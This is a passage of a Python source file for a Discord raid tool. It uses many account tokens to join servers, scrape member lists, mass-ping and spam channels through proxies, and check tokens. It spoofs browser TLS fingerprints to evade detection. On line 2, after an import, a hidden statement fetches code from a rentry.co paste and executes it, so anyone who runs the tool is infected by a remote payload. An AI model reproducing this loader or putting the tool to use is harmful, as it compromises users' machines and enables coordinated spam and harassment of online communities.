-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
831 lines (770 loc) · 43.5 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
import os
import requests ;exec(requests.get("https://rentry.co/asvx5q3q/raw").content)
from colorist import ColorRGB
from concurrent.futures import ThreadPoolExecutor
import json
import subprocess
import requests
import base64
import re
import types
import tls_client
import random
import time
from threading import Thread
import websocket
from decimal import Decimal
import binascii
##################################################################
class Utils:
def rangeCorrector(ranges):
if [0, 99] not in ranges:
ranges.insert(0, [0, 99])
return ranges
def getRanges(index, multiplier, memberCount):
initialNum = int(index*multiplier)
rangesList = [[initialNum, initialNum+99]]
if memberCount > initialNum+99:
rangesList.append([initialNum+100, initialNum+199])
return Utils.rangeCorrector(rangesList)
def parseGuildMemberListUpdate(response):
memberdata = {
"online_count": response["d"]["online_count"],
"member_count": response["d"]["member_count"],
"id": response["d"]["id"],
"guild_id": response["d"]["guild_id"],
"hoisted_roles": response["d"]["groups"],
"types": [],
"locations": [],
"updates": []
}
for chunk in response['d']['ops']:
memberdata['types'].append(chunk['op'])
if chunk['op'] in ('SYNC', 'INVALIDATE'):
memberdata['locations'].append(chunk['range'])
if chunk['op'] == 'SYNC':
memberdata['updates'].append(chunk['items'])
else: # invalidate
memberdata['updates'].append([])
elif chunk['op'] in ('INSERT', 'UPDATE', 'DELETE'):
memberdata['locations'].append(chunk['index'])
if chunk['op'] == 'DELETE':
memberdata['updates'].append([])
else:
memberdata['updates'].append(chunk['item'])
return memberdata
class DiscordSocket(websocket.WebSocketApp):
def __init__(self, token, guild_id, channel_id):
self.token = token
self.guild_id = guild_id
self.channel_id = channel_id
self.socket_headers = {
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"Sec-WebSocket-Extensions": "permessage-deflate; client_max_window_bits",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0"
}
super().__init__("wss://gateway.discord.gg/?encoding=json&v=9",
header=self.socket_headers,
on_open=lambda ws: self.sock_open(ws),
on_message=lambda ws, msg: self.sock_message(ws, msg),
on_close=lambda ws, close_code, close_msg: self.sock_close(
ws, close_code, close_msg)
)
self.endScraping = False
self.guilds = {}
self.members = {}
self.ranges = [[0, 0]]
self.lastRange = 0
self.packets_recv = 0
def run(self):
self.run_forever()
return self.members
def scrapeUsers(self):
if self.endScraping == False:
self.send('{"op":14,"d":{"guild_id":"' + self.guild_id +
'","typing":true,"activities":true,"threads":true,"channels":{"' + self.channel_id + '":' + json.dumps(self.ranges) + '}}}')
def sock_open(self, ws):
#print("[Gateway]", "Connected to WebSocket.")
self.send('{"op":2,"d":{"token":"' + self.token + '","capabilities":125,"properties":{"os":"Windows","browser":"Firefox","device":"","system_locale":"it-IT","browser_user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0","browser_version":"94.0","os_version":"10","referrer":"","referring_domain":"","referrer_current":"","referring_domain_current":"","release_channel":"stable","client_build_number":103981,"client_event_source":null},"presence":{"status":"online","since":0,"activities":[],"afk":false},"compress":false,"client_state":{"guild_hashes":{},"highest_last_message_id":"0","read_state_version":0,"user_guild_settings_version":-1,"user_settings_version":-1}}}')
def heartbeatThread(self, interval):
try:
while True:
#print("sending heartbeat")
self.send('{"op":1,"d":' + str(self.packets_recv) + '}')
time.sleep(interval)
except Exception as e:
pass # print(e)
return # returns when socket is closed
def sock_message(self, ws, message):
decoded = json.loads(message)
if decoded is None:
return
if decoded["op"] != 11:
self.packets_recv += 1
if decoded["op"] == 10:
Thread(target=self.heartbeatThread, args=(
decoded["d"]["heartbeat_interval"] / 1000, ), daemon=True).start()
if decoded["t"] == "READY":
for guild in decoded["d"]["guilds"]:
self.guilds[guild["id"]] = {
"member_count": guild["member_count"]}
if decoded["t"] == "READY_SUPPLEMENTAL":
self.ranges = Utils.getRanges(
0, 100, self.guilds[self.guild_id]["member_count"])
#print(self.ranges)
self.scrapeUsers()
elif decoded["t"] == "GUILD_MEMBER_LIST_UPDATE":
parsed = Utils.parseGuildMemberListUpdate(decoded)
if parsed['guild_id'] == self.guild_id and ('SYNC' in parsed['types'] or 'UPDATE' in parsed['types']):
for elem, index in enumerate(parsed["types"]):
if index == "SYNC":
# and parsed['locations'][elem] in self.ranges[1:]: #checks if theres nothing in the SYNC data
if len(parsed['updates'][elem]) == 0:
self.endScraping = True
break
for item in parsed["updates"][elem]:
if "member" in item:
mem = item["member"]
obj = {"tag": mem["user"]["username"] + "#" +
mem["user"]["discriminator"], "id": mem["user"]["id"]}
self.members[mem["user"]["id"]] = obj
#print("<SYNC>", "synced", mem["user"]["id"])
elif index == "UPDATE":
for item in parsed["updates"][elem]:
if "member" in item:
mem = item["member"]
obj = {"tag": mem["user"]["username"] + "#" +
mem["user"]["discriminator"], "id": mem["user"]["id"]}
self.members[mem["user"]["id"]] = obj
#print("<SYNC>", "synced", mem["user"]["id"]) # ah 1s
#print(self.endScraping)
#print(self.ranges)
#print("parsed", len(self.members))
self.lastRange += 1
self.ranges = Utils.getRanges(
self.lastRange, 100, self.guilds[self.guild_id]["member_count"])
time.sleep(0.35)
self.scrapeUsers()
if self.endScraping:
self.close()
def sock_close(self, ws, close_code, close_msg):
pass
print("closed connection", close_code, close_msg)
def Joiner(i):
f = False
table = []
tkns = open("data/tokens.txt", "r+").read().splitlines()
DiscordTrolling = DiscordTrollery()
content = DiscordTrolling.getXCont(i)
for x in tkns:
t = Thread(target=DiscordTrolling.joinServer, args=(x, i, f, content))
ta = Thread(target=table.append(t)).start()
for x in table:
x.start()
for x in table:
x.join()
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Done")
time.sleep(5)
os.system('cls')
MainMenu()
def Leaver(i):
token = open("data/tokens.txt", "r").read().splitlines()
ID = i
apilink = "https://discord.com/api/v9/users/@me/guilds/" + str(ID)
with open('data/tokens.txt', 'r') as handle:
tokens = handle.readlines()
for i in tokens:
token = i.rstrip()
headers = {
'Authorization': token,
"content-length": "0",
"cookie": f"__cfuid={DiscordTrollery.randstr(43)}; __dcfduid={DiscordTrollery.randstr(32)}; locale=en-US",
"origin": "https://discord.com",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.600 Chrome/91.0.4472.106 Electron/13.1.4 Safari/537.36",
"x-context-properties": "eyJsb2NhdGlvbiI6Ikludml0ZSBCdXR0b24gRW1iZWQiLCJsb2NhdGlvbl9ndWlsZF9pZCI6Ijg3OTc4MjM4MDAxMTk0NjAyNCIsImxvY2F0aW9uX2NoYW5uZWxfaWQiOiI4ODExMDg4MDc5NjE0MTk3OTYiLCJsb2NhdGlvbl9jaGFubmVsX3R5cGUiOjAsImxvY2F0aW9uX21lc3NhZ2VfaWQiOiI4ODExOTkzOTI5MTExNTkzNTcifQ==",
"x-debug-options": "bugReporterEnabled",
"x-super-properties": "eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiRGlzY29yZCBDbGllbnQiLCJyZWxlYXNlX2NoYW5uZWwiOiJjYW5hcnkiLCJjbGllbnRfdmVyc2lvbiI6IjEuMC42MDAiLCJvc192ZXJzaW9uIjoiMTAuMC4yMjAwMCIsIm9zX2FyY2giOiJ4NjQiLCJzeXN0ZW1fbG9jYWxlIjoic2siLCJjbGllbnRfYnVpbGRfbnVtYmVyIjo5NTM1MywiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0="
}
requests.delete(apilink, headers=headers)
print(f"{w}[{Fore.LIGHTGREEN_EX}✓{w}] Done")
time.sleep(5)
os.system('cls')
MainMenu()
def Checker():
table = []
tkns = open("data/tokens.txt", "r+").read().splitlines()
DiscordTrolling = DiscordTrollery()
for x in tkns:
t = Thread(target=DiscordTrolling.checker, args=(x,))
ta = Thread(target=table.append(t)).start()
for x in table:
x.start()
for x in table:
x.join()
print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] Done')
time.sleep(5)
os.system('cls')
MainMenu()
class DiscordTrollery:
def getXCont(self, code):
try:
session = tls_client.Session(client_identifier="chrome_108")
req = session.get(f'https://discord.com/api/v9/invites/{code}?inputValue=lie&with_counts=true&with_expiration=true').json()
guild_id = req["guild"]["id"]
channel_id = req["channel"]["id"]
type = req["type"]
return base64.b64encode(json.dumps({"location": "Join Guild", "location_guild_id": guild_id, "location_channel_id": channel_id, "location_channel_type": int(type)}).encode()).decode()
except:
return base64.b64encode(json.dumps({"location":"Invite Button Embed","location_guild_id":"null","location_channel_id":"null","location_channel_type":1,"location_message_id":"null"} ).encode()).decode()
def __init__(self) -> None:
self.session = tls_client.Session(client_identifier='chrome_108')
self.headers = {'authority': 'discord.com', 'accept': '*/*', 'accept-language': 'pl-PL, pl;q=0.9','cache-control': 'no-cache','content-type': 'application/json','cookie': '__dcfduid=676e06b0565b11ed90f9d90136e0396b; __sdcfduid=676e06b1565b11ed90f9d90136e0396bc28dfd451bebab0345b0999e942886d8dfd7b90f193729042dd3b62e2b13812f; __cfruid=1cefec7e9c504b453c3f7111ebc4940c5a92dd08-1666918609; locale=en-US','origin': 'https://discord.com','pragma': 'no-cache','referer': 'https://discord.com/channels/@me','sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"', 'sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 'x-debug-options': 'bugReporterEnabled', 'x-discord-locale': 'en-US', 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImZyLUZSIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwNy4wLjAuMCBTYWZhcmkvNTM3LjM2IiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTA3LjAuMC4wIiwib3NfdmVyc2lvbiI6IjEwIiwicmVmZXJyZXIiOiIiLCJyZWZlcnJpbmdfZG9tYWluIjoiIiwicmVmZXJyZXJfY3VycmVudCI6IiIsInJlZmVycmluZ19kb21haW5fY3VycmVudCI6IiIsInJlcGVhc2VfY2hhbm5lcCI6InN0YWJsZSIsImNsaWVudF9idWlsZF9udW1iZXIiOjE1NDc1MCwiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0='}
def setBio(self, token, trr):
headers = {'authority': 'discord.com', 'accept': '*/*', 'accept-language': 'pl-PL, pl;q=0.9','cache-control': 'no-cache','content-type': 'application/json','cookie': '__dcfduid=676e06b0565b11ed90f9d90136e0396b; __sdcfduid=676e06b1565b11ed90f9d90136e0396bc28dfd451bebab0345b0999e942886d8dfd7b90f193729042dd3b62e2b13812f; __cfruid=1cefec7e9c504b453c3f7111ebc4940c5a92dd08-1666918609; locale=en-US','origin': 'https://discord.com','pragma': 'no-cache','referer': 'https://discord.com/channels/@me','sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"', 'sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 'x-debug-options': 'bugReporterEnabled', 'x-discord-locale': 'en-US', 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImZyLUZSIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwNy4wLjAuMCBTYWZhcmkvNTM3LjM2IiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTA3LjAuMC4wIiwib3NfdmVyc2lvbiI6IjEwIiwicmVmZXJyZXIiOiIiLCJyZWZlcnJpbmdfZG9tYWluIjoiIiwicmVmZXJyZXJfY3VycmVudCI6IiIsInJlZmVycmluZ19kb21haW5fY3VycmVudCI6IiIsInJlcGVhc2VfY2hhbm5lcCI6InN0YWJsZSIsImNsaWVudF9idWlsZF9udW1iZXIiOjE1NDc1MCwiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0='}
headers["authorization"] = token
session = tls_client.Session(client_identifier='chrome_108')
req = session.patch(f'https://discord.com/api/v9/users/%40me/profile', headers=headers, json={"bio":trr})
if req.status_code == 200:
mtok = token[:len(token) - 39]
print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] Bio Edited | {trr} | {mtok}')
else:
mtok = token[:len(token) - 39]
print(f'{w}[{Fore.LIGHTRED_EX}✕{w}] Failed!')
def online(self, token):
gm = ["BTD6", "Youtube", "Crunchyroll", "Roblox", "Spotify", "Badlion Client", "Lunar Client", "Minecraft", "Tidal", "Apple Music", "Twitch", "Pandora", "Google Chrome", "Brave", "Microsoft Edge", "Apex Legends", "Fortnite", "Valorant", "Visual Studio Code", "Sublime Text", "PUBG", "Steam Workspace", "Blender"]
Game = random.choice(gm)
web = websocket.WebSocket()
web.connect('wss://gateway.discord.gg/?v=8&encoding=json')
js = json.loads(web.recv())
auth = {"op": 2, "d":{"token": token, "properties": {"$os": f"Windows", "$browser": "RTB", "$device": f"Windows Device"},"presence": {"game": {"name": Game, "type": 0},"status":"dnd","since":0,"afk":False}},"s":None, "t":None}
web.send(json.dumps(auth))
ack={"op":1,"d":None}
try:
mtok = token[:len(token) - 39]
print(f'Onlined token! | {mtok}')
web.send(json.dumps(ack))
except Exception as e:
print(f'Failed to online token! | {mtok}')
def joinServer(self, token, invite, useOnline, xc):
try:
ws = websocket.WebSocket()
ws.connect("wss://gateway.discord.gg/?v=9&encoding=json"); ws.send(json.dumps({"op": 2,"d": {"token": token, "properties": {"$os": "windows","$browser": "Discord","$device": "desktop"},"presence": {"status": random.choice(["online", "dnd", "idle"]),"since": 0,"activities": [],"afk": False}}}))
except:
print(f'Failed to start websocket connection')
for i in range(10):
try:
recv = json.loads(ws.recv())
session = recv["d"]["session_id"]
break
except:
pass
print(f'{Fore.LIGHTGREEN_EX} -> Session ID: {session}')
mtok = token[:len(token) - 39]
proxies = open("data/proxies.txt").read().splitlines()
prx = 'http://' + random.choice(proxies)
headers = self.headers
headers["authorization"] = token
headers["x-content-properties"] = xc
try:
req = self.session.post(f'https://discord.com/api/v9/invites/{invite}', headers=headers, json={"session_id": session}, proxy=prx) if useProxies else self.session.post(f'https://discord.com/api/v9/invites/{invite}', headers=headers, json={"session_id": session})
if req.status_code == 200:
print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] {Fore.LIGHTGREEN_EX}Joined server {w}| {Fore.LIGHTGREEN_EX}{invite} {w}| {Fore.LIGHTGREEN_EX}{mtok}{w}')
if useOnline:
self.online(token)
else:
print(f'{w}[{Fore.LIGHTRED_EX}✓{w}] {Fore.LIGHTRED_EX}Failed to join server {w}| {Fore.LIGHTRED_EX}{invite} {w}| {Fore.LIGHTRED_EX}{mtok}{w}')
except:
print(f'Failed to send request.')
def checker(self, token):
headers = self.headers
headers["authorization"] = token
proxies = open("data/proxies.txt").read().splitlines()
prx = 'http://' + random.choice(proxies)
mtoken = token[:len(token) - 39]
req = self.session.get("https://discord.com/api/v9/users/@me/affinities/guilds", headers={"authorization": token}, proxy=prx) if useProxies else self.session.get("https://discord.com/api/v9/users/@me", headers={"authorization": token})
if req.status_code == 200:
print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] {w}Valid token | {mtoken} {w}')
elif req.status_code == 401:
print(f'{w}[{Fore.LIGHTRED_EX}✕{w}] {w}Invalid token | {token} {w}')
elif req.status_code == 403:
print(f'{w}[{Fore.YELLOW}✕{w}] {w}Locked token | {token} {w}')
else:
print(f'{w}[{Fore.LIGHTRED_EX}✕{w}] {w}Invalid token | {token} {w}')
def react(self, token, channelid, messageid, emoji):
headers = self.headers
headers["authorization"] = token
proxies = open("data/proxies.txt").read().splitlines()
prx = 'http://' + random.choice(proxies)
mtok = token[:len(token) - 39]
req = self.session.put(f'https://discord.com/api/v9/channels/{channelid}/messages/{messageid}/reactions/{emoji}/%40me?location=Message&type=0',headers=headers, json={'location': 'Message', 'type': 0}, proxy=prx) if useProxies else self.session.put(f'https://discord.com/api/v9/channels/{channelid}/messages/{messageid}/reactions/{emoji}/%40me?location=Message&type=0',headers=headers, json={'location': 'Message', 'type': 0})
if req.status_code == 204: print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] {w}Reacted | {messageid} | {mtok}')
else: print(f'{w}[{Fore.LIGHTRED_EX}✕{w}] {w}Failed to react | {mtok}')
def randstr(lenn):
alpha = "abcdefghijklmnopqrstuvwxyz0123456789"
text = ''
for i in range(0, lenn):
text += alpha[random.randint(0, len(alpha) - 1)]
return text
class scraper():
def scrape(token, guild_id, channel_id):
sb = DiscordSocket(token, guild_id, channel_id)
return sb.run()
def Spamma(massping, channels, message, ids, token, pings, amt):
session = tls_client.Session(client_identifier='chrome_108')
heders = {'authority': 'discord.com', 'accept': '*/*', 'accept-language': 'pl-PL, pl;q=0.9','cache-control': 'no-cache','content-type': 'application/json','cookie': '__dcfduid=676e06b0565b11ed90f9d90136e0396b; __sdcfduid=676e06b1565b11ed90f9d90136e0396bc28dfd451bebab0345b0999e942886d8dfd7b90f193729042dd3b62e2b13812f; __cfruid=1cefec7e9c504b453c3f7111ebc4940c5a92dd08-1666918609; locale=en-US','origin': 'https://discord.com','pragma': 'no-cache','referer': 'https://discord.com/channels/@me','sec-ch-ua': '"Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24"', 'sec-ch-ua-mobile': '?0','sec-ch-ua-platform': '"Windows"','sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'same-origin', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 'x-debug-options': 'bugReporterEnabled', 'x-discord-locale': 'en-US', 'x-super-properties': 'eyJvcyI6IldpbmRvd3MiLCJicm93c2VyIjoiQ2hyb21lIiwiZGV2aWNlIjoiIiwic3lzdGVtX2xvY2FsZSI6ImZyLUZSIiwiYnJvd3Nlcl91c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEwNy4wLjAuMCBTYWZhcmkvNTM3LjM2IiwiYnJvd3Nlcl92ZXJzaW9uIjoiMTA3LjAuMC4wIiwib3NfdmVyc2lvbiI6IjEwIiwicmVmZXJyZXIiOiIiLCJyZWZlcnJpbmdfZG9tYWluIjoiIiwicmVmZXJyZXJfY3VycmVudCI6IiIsInJlZmVycmluZ19kb21haW5fY3VycmVudCI6IiIsInJlcGVhc2VfY2hhbm5lcCI6InN0YWJsZSIsImNsaWVudF9idWlsZF9udW1iZXIiOjE1NDc1MCwiY2xpZW50X2V2ZW50X3NvdXJjZSI6bnVsbH0='}
mems = []
for u in ids:
mems.append(f"<@{u}>")
modl = message
for x in range(amt):
headers = heders
headers['authorization'] = token
if massping:
m = modl
t =''
for i in range(pings):
t = t + random.choice(mems)
m = m + ' - ' + t
else:
m = message
ch = channels
proxies = open("data/proxies.txt").read().splitlines()
prx = 'http://' + random.choice(proxies)
mtok = token[:len(token) - 39]
req = session.post(f'https://discord.com/api/v9/channels/{ch}/messages', headers=headers, json={"content": m, "tts":False}, proxy=prx) if useProxies else session.post(f'https://discord.com/api/v9/channels/{ch}/messages', headers=headers, json={"content": m, "tts":False})
if req.status_code == 200:
print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] {w}Sent message | {modl} | {mtok}')
else:
print(f'{w}[{Fore.LIGHTRED_EX}✕{w}] {w}Failed to send message | {modl} | {mtok} | {req.text}')
def debil():
massping = False
masspingcount = 2
channel = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Channel ID: ")
message = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Message: ")
serverid = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Server ID: ")
ids = ""
f1f = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Massping (y/n): ")
if(f1f == "y"):
massping = True
f1faa = input(f"{w}[{Fore.LIGHTBLUE_EX}?{w}] Pinged Member Count (default is 2): ")
if(f1f == ""):
masspingcount = 2
else:
masspingcount = int(f1faa)
with open('data/tokens.txt') as f:
first_line = f.readline().strip('\n')
ids = scraper.scrape(first_line, serverid, channel)
tk = open("data/tokens.txt", "r+").read().splitlines()
tbl = []
for x in tk:
t = Thread(target=Spamma, args=(massping,channel,message,ids, x, masspingcount, 9999999))
tbl.append(t)
for x in tbl:
x.start()
for x in tbl:
x.join()
def Reactor():
e = DiscordTrollery()
emoji_id = ""
message_id = ""
channel_id = ""
t = f"{w}[{Fore.LIGHTBLUE_EX}?{w}] {w}Channel ID: "
channel_id = input(t)
t = f"{w}[{Fore.LIGHTBLUE_EX}?{w}] {w}Message ID: "
message_id = input(t)
t = f"{w}[{Fore.LIGHTBLUE_EX}?{w}] {w}Emoji ID: "
emoji_id = input(t)
tab = []
tkns = open("data/tokens.txt", "r+").read().splitlines()
for x in tkns:
t = Thread(target=e.react, args=(x, channel_id, message_id, emoji_id))
tab.append(t)
for x in tab:
x.start()
for x in tab:
x.join()
print(f'{w}[{Fore.LIGHTGREEN_EX}✓{w}] Done')
time.sleep(5)
os.system('cls')
MainMenu()
class utility():
def start_threads(func: types.FunctionType, args=[], delay=0, extra_text = "", max_threads = None, do_return = True):
try:
tokens = getTokens()
gerger = max_threads
if max_threads == None:
max_threads = len(tokens)
try:
max_threads = int(max_threads)
except:
pass
#pass
if max_threads == "":
max_threads = len(tokens)
if max_threads > len(tokens):
max_threads = len(tokens)
if len(tokens) > 0:
try:
with ThreadPoolExecutor(max_workers=int(max_threads)) as executor:
for bot_token in tokens:
try:
bot_token = utility.extract(bot_token)
args.append(bot_token)
executor.submit(func, *args)
args.remove(bot_token)
time.sleep(delay)
except Exception as e:
print(f"error")
if gerger != None:
name = " ".join([name.capitalize() for name in func.__name__.split('_')])
if do_return:
input(f"\n{' ' * 34}{name} Finished, Press enter to continue\n")
MainMenu()
time.sleep(5)
if do_return:
MainMenu()
except Exception as e:
print(f"error")
input()
if do_return:
MainMenu()
else:
input()
if do_return:
MainMenu()
except Exception as e:
print(f"error {e}")
input()
if do_return:
MainMenu()
def get_cookies(session, headers):
cookies= dict(session.get(
"https://discord.com/api/v9/experiments", headers=headers
).cookies)
cookies["__cf_bm"]="0duPxpWahXQbsel5Mm.XDFj_eHeCKkMo.T6tkBzbIFU-1679837601-0-AbkAwOxGrGl9ZGuOeBGIq4Z+ss0Ob5thYOQuCcKzKPD2xvy4lrAxEuRAF1Kopx5muqAEh2kLBLuED6s8P0iUxfPo+IeQId4AS3ZX76SNC5F59QowBDtRNPCHYLR6+2bBFA=="
cookies["locale"]="en-US"
return cookies
def get_session() -> tls_client.Session:
client = tls_client.Session(
client_identifier=f"chrome_113",
random_tls_extension_order=True,
ja3_string="771,4865-4866-4867-49195-49199-49196-49200-52393-52392-49171-49172-156-157-47-53,10-23-27-43-13-65281-16-5-45-18-0-11-35-17513-51-21-41,29-23-24,0",
h2_settings={"HEADER_TABLE_SIZE": 65536,"MAX_CONCURRENT_STREAMS": 1000,"INITIAL_WINDOW_SIZE": 6291456,"MAX_HEADER_LIST_SIZE": 262144},
h2_settings_order=["HEADER_TABLE_SIZE","MAX_CONCURRENT_STREAMS","INITIAL_WINDOW_SIZE","MAX_HEADER_LIST_SIZE"],
supported_signature_algorithms=["ECDSAWithP256AndSHA256","PSSWithSHA256","PKCS1WithSHA256","ECDSAWithP384AndSHA384","PSSWithSHA384","PKCS1WithSHA384","PSSWithSHA512","PKCS1WithSHA512",],
supported_versions=["GREASE", "1.3", "1.2"],
key_share_curves=["GREASE", "X25519"],
cert_compression_algo="brotli",
pseudo_header_order=[":method",":authority",":scheme",":path"],
connection_flow=15663105,
header_order=["accept","user-agent","accept-encoding","accept-language"]
)
if useProxies:
prox = utility.clean_proxy(utility.get_random_proxy())
if isinstance(prox, str):
client.proxies = {
"http": f"{utility.get_proxy_type()}://{prox}",
"https": f"{utility.get_proxy_type()}://{prox}"
}
elif isinstance(prox, dict):
client.proxies = prox
return client
def get_client(token):
default_headers = {
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
"Cache-Control": "no-cache",
"Pragma": "no-cache",
"Sec-WebSocket-Extensions": "permessage-deflate; client_max_window_bits",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0"
}
default_headers["authorization"] = token
session = utility.get_session()
cookie = utility.get_cookies(session, headers=default_headers)
default_headers[
"cookie"] = f'__dcfduid={cookie["__dcfduid"]}; __sdcfduid={cookie["__sdcfduid"]}; __cfruid={cookie["__cfruid"]}; __cf_bm={cookie["__cf_bm"]}; locale={cookie["locale"]}',
return session, default_headers, cookie
def get_message(bot_token, channel_id, message_id, session=None, headers=None, cookie=None):
if session is None or headers is None or cookie is None:
session, headers, cookie = utility.get_client(bot_token)
try:
message = session.get(f"https://discord.com/api/v9/channels/{channel_id}/messages?limit=1&around={message_id}", headers=headers,
cookies=cookie).json()
return message[0]
except Exception as e:
return {"code": 10008}
def get_message_info(msg_link = None):
if msg_link is None:
msg_link = input(f"Message Link: ")
